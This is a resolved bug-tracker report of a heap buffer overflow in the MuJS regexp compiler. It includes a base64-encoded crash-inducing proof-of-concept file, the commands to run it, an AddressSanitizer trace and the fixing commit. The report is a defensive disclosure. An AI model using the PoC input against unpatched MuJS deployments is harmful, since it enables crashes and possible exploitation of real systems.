Bug 697448 - MUJS library heap based buffer overflow in 'regemit' function
Summary: MUJS library heap based buffer overflow in 'regemit' function
Status: RESOLVED FIXED
Alias: None
Product: MuJS
Classification: Unclassified
Component: general (show other bugs)
Version: unspecified
Hardware: PC Windows NT
: P4 normal
Assignee: Tor Andersson
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2016-12-20 06:18 UTC by op7ic
Modified: 2017-01-12 06:33 UTC (History)
0 users

See Also:
Customer:
Word Size: ---


Attachments
valgrind report (46.48 KB, text/plain)
2016-12-20 06:25 UTC, op7ic
Details

Note You need to log in before you can comment on or make changes to this bug.
Description op7ic 2016-12-20 06:18:28 UTC
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS:  -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
Release Status: release
Source: git clone git://git.ghostscript.com/mujs.git
Pull date: 20.12.2016 at 14.15PM GMT

Description:

A buffer overflow was identified in "regemit" function in "mujs/regexp.c" source file. This issue can be triggered by processing a corrupted JS file and will result in mujs crash. To replicate this issue use the attached sample below and execute the following command: 

./mujs <PoC File>


PoC.file base64 encoded:

L1w/ci1c6AM8Pyg/On4/P1x/XOgDPD8oPzp+Pz9yfFzoAzw/KD86fj8pezg0fYfkPyg8Pyg/On4/
P3J8XOgDPD8YPzp+Pyl7ODR9h+Qpezg0fT86fj8pezg0fYfkKXs4NH1t5NntXy8=


Affected code:

echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./mujs PoC.file


ASAN Report (MUJS  needs to compiled with -fsanitize=address for this):

==15473==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7cab115db6c0 at pc 0x4dddd6 bp 0x7e5fb4f302f0 sp 0x7e5fb4f302e8
WRITE of size 1 at 0x7cab115db6c0 thread T0
    #0 0x4dddd5 in regemit /opt/mujs-devel-build/mujs/regexp.c:621
    #1 0x4dddd5 in compile /opt/mujs-devel-build/mujs/regexp.c:662
    #2 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #3 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #4 0x4db6cd in compile /opt/mujs-devel-build/mujs/regexp.c:647
    #5 0x4db824 in compile /opt/mujs-devel-build/mujs/regexp.c:656
    #6 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #7 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #8 0x4db1e7 in compile /opt/mujs-devel-build/mujs/regexp.c:704
    #9 0x4db824 in compile /opt/mujs-devel-build/mujs/regexp.c:656
    #10 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #11 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #12 0x4db6cd in compile /opt/mujs-devel-build/mujs/regexp.c:647
    #13 0x4db824 in compile /opt/mujs-devel-build/mujs/regexp.c:656
    #14 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #15 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #16 0x4db824 in compile /opt/mujs-devel-build/mujs/regexp.c:656
    #17 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #18 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #19 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #20 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #21 0x4da4f3 in compile /opt/mujs-devel-build/mujs/regexp.c:639
    #22 0x4fdb19 in js_regcompx /opt/mujs-devel-build/mujs/regexp.c:862
    #23 0x4d6f96 in js_newregexp /opt/mujs-devel-build/mujs/jsregexp.c:19
    #24 0x43fbbd in jsR_run /opt/mujs-devel-build/mujs/jsrun.c:1309
    #25 0x4502dd in jsR_callscript /opt/mujs-devel-build/mujs/jsrun.c:1006
    #26 0x4502dd in js_call /opt/mujs-devel-build/mujs/jsrun.c:1061
    #27 0x408af7 in js_dofile /opt/mujs-devel-build/mujs/jsstate.c:146
    #28 0x405472 in main /opt/mujs-devel-build/mujs/main.c:175
    #29 0x7cab14245b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
    #30 0x40647c (/opt/mujs-devel-build/mujs/build/mujs+0x40647c)

0x7cab115db6c0 is located 0 bytes to the right of 984944320-byte region [0x7caad6a8a800,0x7cab115db6c0)
allocated by thread T0 here:
    #0 0x7cab149249f6 in __interceptor_realloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x549f6)
    #1 0x4fd1af in js_regcompx /opt/mujs-devel-build/mujs/regexp.c:851

SUMMARY: AddressSanitizer: heap-buffer-overflow /opt/mujs-devel-build/mujs/regexp.c:621 regemit
Shadow bytes around the buggy address:
  0x0f95e22b3680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0f95e22b3690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0f95e22b36a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0f95e22b36b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0f95e22b36c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0f95e22b36d0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0f95e22b36e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0f95e22b36f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0f95e22b3700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0f95e22b3710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0f95e22b3720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe
==15473==ABORTING
Comment 1 op7ic 2016-12-20 06:25:09 UTC
Created attachment 13255 [details]
valgrind report
Comment 2 Tor Andersson 2017-01-12 06:33:44 UTC
Fixed in commit fa3d30fd18c348bb4b1f3858fb860f4fcd4b2045
Author: Tor Andersson <tor.andersson@gmail.com>
Date:   Thu Jan 12 15:13:14 2017 +0100

    Fix 697448: Limit the maximum program size to something reasonable.
    
    A regular expression with lots of nested repetition can lead to
    integer overflow when calculating the size of the program.
    
    Check max program size when counting the number of instructions required
    for a loop, so we can bail before integer overflow can happen.